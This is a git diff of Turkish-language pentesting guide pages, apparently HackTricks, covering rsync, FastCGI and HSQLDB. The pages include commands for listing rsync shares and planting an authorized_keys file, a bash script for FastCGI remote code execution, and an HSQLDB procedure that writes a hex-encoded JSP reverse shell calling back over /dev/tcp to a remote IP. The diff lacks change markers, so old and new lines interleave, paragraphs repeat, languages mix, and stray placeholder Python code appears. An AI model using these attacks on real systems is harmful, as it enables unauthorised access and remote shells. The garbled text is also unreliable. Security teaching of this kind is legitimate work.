> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve ağ üzerindeki bilgisayarlar arasında [dosya](https://en.wikipedia.org/wiki/Computer_file) [aktarma](https://en.wikipedia.org/wiki/File_transfer) ve [senkronizasyon](https://en.wikipedia.org/wiki/File_synchronization) işlemlerini verimli bir şekilde gerçekleştiren bir yardımcı programdır. Bu işlem, dosyaların [değiştirme zamanlarını](https://en.wikipedia.org/wiki/Timestamping_(computing)) ve boyutlarını karşılaştırarak yapılır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating_system) bulunur. Rsync algoritması, bir tür [delta kodlama](https://en.wikipedia.org/wiki/Delta_encoding) kullanır ve ağ kullanımını en aza indirmek için kullanılır. Ek olarak [veri sıkıştırma](https://en.wikipedia.org/wiki/Data_compression) için [Zlib](https://en.wikipedia.org/wiki/Zlib) kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) ve güvenlik için [SSH](https://en.wikipedia.org/wiki/Secure_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) kullanılabilir.
|
||||
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve [ağ](https://en.wikipedia.org/wiki/Computer\_network) [bilgisayarları](https://en.wikipedia.org/wiki/Computer) arasında [dosyaları](https://en.wikipedia.org/wiki/Computer\_file) [verimli bir şekilde](https://en.wikipedia.org/wiki/File\_transfer) [aktarmak](https://en.wikipedia.org/wiki/File\_transfer) ve [senkronize etmek](https://en.wikipedia.org/wiki/File\_synchronization) için bir yardımcı programdır; dosyaların [değiştirilme zamanlarını](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) ve boyutlarını karşılaştırarak çalışır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating\_system) bulunur. Rsync algoritması, [delta kodlama](https://en.wikipedia.org/wiki/Delta\_encoding) türüdür ve ağ kullanımını minimize etmek için kullanılır. [Zlib](https://en.wikipedia.org/wiki/Zlib) ek [veri sıkıştırması](https://en.wikipedia.org/wiki/Data\_compression) için kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) ve [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) güvenlik için kullanılabilir.
|
||||
|
||||
**Varsayılan port:** 873
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
873/tcp open rsync syn-ack
|
||||
```
|
||||
## Numaralandırma
|
||||
## Enumeration
|
||||
|
||||
### Banner ve El ile İletişim
|
||||
|
||||
Rsync, bir ağ servisi olduğu için, hedef sistemde çalıştırıldığında bir banner döndürür. Bu banner, hedef sistem hakkında bazı bilgiler sağlayabilir. Rsync sunucusuna bağlanarak banner'ı alabilirsiniz:
|
||||
|
||||
```bash
|
||||
$ nc <hedef_ip> 873
|
||||
```
|
||||
|
||||
Banner'ı almak için `nc` (netcat) aracını kullanıyoruz. Banner, hedef sistemde çalışan Rsync sürümünü ve diğer bilgileri içerebilir.
|
||||
|
||||
Ayrıca, Rsync sunucusuyla el ile iletişim kurabilirsiniz. Rsync sunucusuna bağlanmak için `rsync` komutunu kullanabilirsiniz:
|
||||
|
||||
```bash
|
||||
$ rsync <hedef_ip>::
|
||||
```
|
||||
|
||||
Bu komut, sunucudaki mevcut modülleri listeler. Modüller, Rsync sunucusunda paylaşılan dizinlerdir. Bu dizinlere erişim sağlayarak verilere erişebilirsiniz.
|
||||
### Banner & Manuel iletişim
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
|
@ -65,9 +50,9 @@ nc -vn 127.0.0.1 873
|
|||
raidroot
|
||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||
```
|
||||
### **Paylaşılan Klasörleri Sıralama**
|
||||
### **Paylaşılan Klasörleri Sayma**
|
||||
|
||||
**Rsync modülleri**, **şifrelerle korunmuş olabilecek** **dizin paylaşımları** olarak tanımlanır. Kullanılabilir modülleri belirlemek ve şifre gerekip gerekmediğini kontrol etmek için aşağıdaki komutlar kullanılır:
|
||||
**Rsync modülleri**, **şifrelerle korunabilecek** **dizin paylaşımları** olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediğini kontrol etmek için aşağıdaki komutlar kullanılır:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
|
@ -75,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
|||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Dikkatli olun, bazı paylaşımlar liste içinde görünmeyebilir ve gizlenebilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgilerine kısıtlı olabilir ve "Erişim Engellendi" mesajıyla belirtilir.
|
||||
Dikkat edin ki bazı paylaşımlar listede görünmeyebilir, bu da onları gizleyebilir. Ayrıca, bazı paylaşımlara erişim belirli **kimlik bilgileri** ile kısıtlanmış olabilir, bu da **"Erişim Reddedildi"** mesajı ile belirtilir.
|
||||
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
|
||||
### Rsync Kullanımı
|
||||
### Manuel Rsync Kullanımı
|
||||
|
||||
Bir **modül listesi** elde ettikten sonra, işlemler kimlik doğrulaması gerekip gerekmediğine bağlı olarak değişir. Kimlik doğrulaması olmadan, paylaşılan bir klasörden dosyaların **listelenmesi** ve **kopyalanması**, yerel bir dizine şu şekilde gerçekleştirilir:
|
||||
Bir **modül listesi** elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine **listeleme** ve **kopyalama** işlemi şu şekilde gerçekleştirilir:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
|
@ -89,39 +74,41 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
|||
# Copying files from a shared folder
|
||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
Bu işlem, dosyaları özelliklerini ve izinlerini koruyarak **rekürsif olarak aktarır**.
|
||||
Bu işlem **dosyaları özyinelemeli olarak aktarır**, niteliklerini ve izinlerini korur.
|
||||
|
||||
**Kimlik bilgileri** ile paylaşılan bir klasörden listeleyip indirme işlemi aşağıdaki gibi yapılabilir, burada bir şifre isteme ekranı görünecektir:
|
||||
**Kimlik bilgileri** ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
İçerik yüklemek için, erişim için bir **authorized_keys** dosyası gibi, şunu kullanın:
|
||||
To **upload content**, such as an _**authorized_keys**_ file for access, use:
|
||||
İçerik **yüklemek** için, erişim için bir _**authorized_keys**_ dosyası gibi, şunu kullanın:
|
||||
```bash
|
||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
## POST
|
||||
|
||||
Rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
|
||||
rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
Bu dosyada, bir _secrets dosyası_ parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.
|
||||
Bu dosya içinde, bir _secrets file_ parametresi **rsyncd kimlik doğrulaması** için **kullanıcı adları ve şifreler** içeren bir dosyaya işaret edebilir.
|
||||
|
||||
|
||||
## Referanslar
|
||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
**FastCGI'nin ne olduğunu öğrenmek istiyorsanız** aşağıdaki sayfaya bakın:
|
||||
Eğer **FastCGI nedir** öğrenmek istiyorsanız, aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Varsayılan olarak **FastCGI** **9000** portunda çalışır ve nmap tarafından tanınmaz. **Genellikle** FastCGI sadece **localhost** üzerinde dinler.
|
||||
Varsayılan olarak **FastCGI** **port** **9000**'de çalışır ve nmap tarafından tanınmaz. **Genellikle** FastCGI sadece **localhost**'ta dinler.
|
||||
|
||||
# Uzaktan Kod Çalıştırma (RCE)
|
||||
# RCE
|
||||
|
||||
FastCGI'nin keyfi kod çalıştırmasını yapmak oldukça kolaydır:
|
||||
FastCGI'nin rastgele kod çalıştırmasını sağlamak oldukça kolaydır:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
@ -45,21 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
|||
cat $OUTPUT
|
||||
done
|
||||
```
|
||||
```markdown
|
||||
veya aşağıdaki python betiğini kullanabilirsiniz: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
ve aşağıdaki python betiğini de kullanabilirsiniz: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
```
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
**HSQLDB \([HyperSQL Veritabanı](http://hsqldb.org/)\)**, Java'da yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Hafızada ve disk tabanlı tabloları destekleyen küçük, hızlı, çoklu iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**, Java ile yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Bellek içi ve disk tabanlı tablolarla küçük, hızlı çok iş parçacıklı ve işlemeli bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
|
||||
|
||||
**Varsayılan port:** 9001
|
||||
```text
|
||||
|
@ -25,31 +26,31 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
### Varsayılan Ayarlar
|
||||
|
||||
Unutmayın ki bu hizmet varsayılan olarak bellekte çalışıyor veya localhost'a bağlı. Eğer bulduysanız, muhtemelen başka bir hizmeti ele geçirdiniz ve ayrıcalıkları yükseltmek istiyorsunuz.
|
||||
Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve yetkileri artırmaya çalışıyorsunuzdur.
|
||||
|
||||
Varsayılan kimlik bilgileri genellikle boş bir şifre ile `sa` olarak ayarlanmıştır.
|
||||
Varsayılan kimlik bilgileri genellikle boş bir şifre ile `sa`dır.
|
||||
|
||||
Başka bir hizmeti ele geçirdiyseniz, olası kimlik bilgilerini aramak için aşağıdaki komutu kullanabilirsiniz:
|
||||
Başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini aramak için
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
Notu veritabanı adını dikkatlice kaydedin - bağlanmak için ihtiyacınız olacak.
|
||||
Not: Veritabanı adını dikkatlice not edin - bağlanmak için buna ihtiyacınız olacak.
|
||||
|
||||
# Bilgi Toplama
|
||||
|
||||
HSQLDB'yi [indirerek](https://sourceforge.net/projects/hsqldb/files/) ve `hsqldb/lib/hsqldb.jar` dosyasını çıkararak DB örneğine bağlanın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` kullanarak çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
|
||||
DB örneğine bağlanmak için [HSQLDB'yi indirin](https://sourceforge.net/projects/hsqldb/files/) ve `hsqldb/lib/hsqldb.jar` dosyasını çıkarın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` komutuyla çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
|
||||
|
||||
Bağlantı URL'si, uzak bir sistem için aşağıdaki gibi görünecektir: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
Bağlantı URL'sinin uzaktan bir sistem için şöyle görüneceğini unutmayın: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
|
||||
# Hileler
|
||||
|
||||
## Java Dil Rutinleri
|
||||
## Java Dili Rutinleri
|
||||
|
||||
Java Dil Rutinleri kullanarak HSQLDB'den bir Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın sınıf yolu üzerinde olması gerektiğini unutmayın.
|
||||
HSQLDB'den Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın classpath'inde olması gerektiğini unutmayın.
|
||||
|
||||
JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürüyorsa, fonksiyonlar SQL ifadeleri aracılığıyla çağrılabilir. `VALUES` ifadesi kullanılarak çağrılırlar.
|
||||
JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Fonksiyonlar, Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürüyorsa SQL ifadeleri aracılığıyla çağrılabilir. `VALUES` ifadesi kullanılarak çağrılırlar.
|
||||
|
||||
Eğer çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesiyle çağrılması gereken bir prosedür kullanmamız gerekmektedir.
|
||||
Çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesi ile çağrılan bir prosedür kullanmamız gerekir.
|
||||
|
||||
## Java Sistem Özelliklerini Okuma
|
||||
|
||||
|
@ -59,48 +60,37 @@ CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
|||
DETERMINISTIC NO SQL
|
||||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||||
```
|
||||
```python
|
||||
def execute_function():
|
||||
# Code to execute the function goes here
|
||||
pass
|
||||
```
|
||||
|
||||
Fonksiyonu çalıştır:
|
||||
|
||||
```python
|
||||
def execute_function():
|
||||
# Fonksiyonu çalıştırmak için gerekli kod buraya yazılır
|
||||
pass
|
||||
```
|
||||
```text
|
||||
VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
Aşağıda [sistem özelliklerinin bir listesini bulabilirsiniz](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
|
||||
## Dosyaya İçerik Yazma
|
||||
## Write Content to File
|
||||
|
||||
Özel bir prosedür aracılığıyla disk üzerine onaltılık kodlanmış öğeleri yazmak için JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java aracını (uygulamanın sınıf yoluna otomatik olarak yüklenir) kullanabilirsiniz. **Maksimum boyutun 1024 bayt olduğunu unutmayın**.
|
||||
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java aracı, özel bir prosedür aracılığıyla disk'e hex kodlu öğeler yazmak için kullanılabilir \(uygulamanın sınıf yoluna otomatik olarak yüklendi\). **Maksimum boyutun 1024 bayt olduğunu unutmayın**.
|
||||
|
||||
Prosedür oluşturma:
|
||||
Prosedür oluşturun:
|
||||
```text
|
||||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||||
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
||||
```
|
||||
Yürütme prosedürü:
|
||||
Prosedürü çalıştır:
|
||||
```text
|
||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
